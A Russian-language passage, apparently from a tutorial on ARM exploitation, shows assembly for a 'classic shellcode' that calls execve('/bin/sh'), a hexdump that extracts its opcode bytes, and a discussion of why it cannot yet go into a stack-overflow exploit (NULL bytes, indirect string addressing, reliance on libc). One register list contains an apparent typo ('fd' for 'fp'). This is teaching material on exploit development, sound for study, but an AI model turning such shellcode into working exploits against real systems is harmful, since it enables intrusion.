Алгоритм 5 Классический шеллкод (shell.s) .file
”shell.c”
.section .rodata
.align
2
.LC0:
.ascii
”/bin/sh\000”
.text
.align
2
.global
operation
.type
operation, %function
operation:
mov
ip, sp
stmfd
sp!, {fp ,ip ,lr ,pc}
sub
fp, ip, #4
ldr
r0, .L3
mov
r1, #0
mov
r2, #0
bl
execve
sub
sp, fp, #12
ldmfd
sp, {fd, sp, lr}
bx
lr
.L4:
.align
2
.L3:
.word
.LC0
.size
operation, .-operation
.align
2
.global
main
.type
main, %function
main:
mov
ip, sp
stmfd
sp!, {fp, ip, lr, pc}
sub
fp, ip, #4
str
r0, [fp, #-16]
str
r1, [fp, #-20]
bl
operation
sub
sp, fp, #12
ldmfd
sp, {fp, sp, lr}
bx
lr
.size
main, .-main
Поскольку мы хотим выгрузить вызов execve(), мы воспользуемся этой
командой:
root@armstation# hexdump -C -s 0x0000244 -n 16 ./shell
00000244 14 00 9f e5 00 10 a0 e3 00 20 a0 e3 d6 25 00 eb
|......... ...%..|
00000254
root@armstation#
Единственное, чего не хватает, это закодировать байты в строку и вставить
шеллкод в эксплойт. Однако здесь есть некоторые проблемы:
46
В шеллкоде есть символы NULL. Это является проблемой, когда функция,
перезаписывающая стек, ожидает строку текста (например, strcpy), потому что
символ NULL считается концом строки.
Регистр r0 не указывает на команду для выполнения. В коде строка
"/bin/sh" адресована косвенно, в то время как нам нужен ее реальный адрес.
Вызов execve использует libc. Нам нужно что-то более прямое.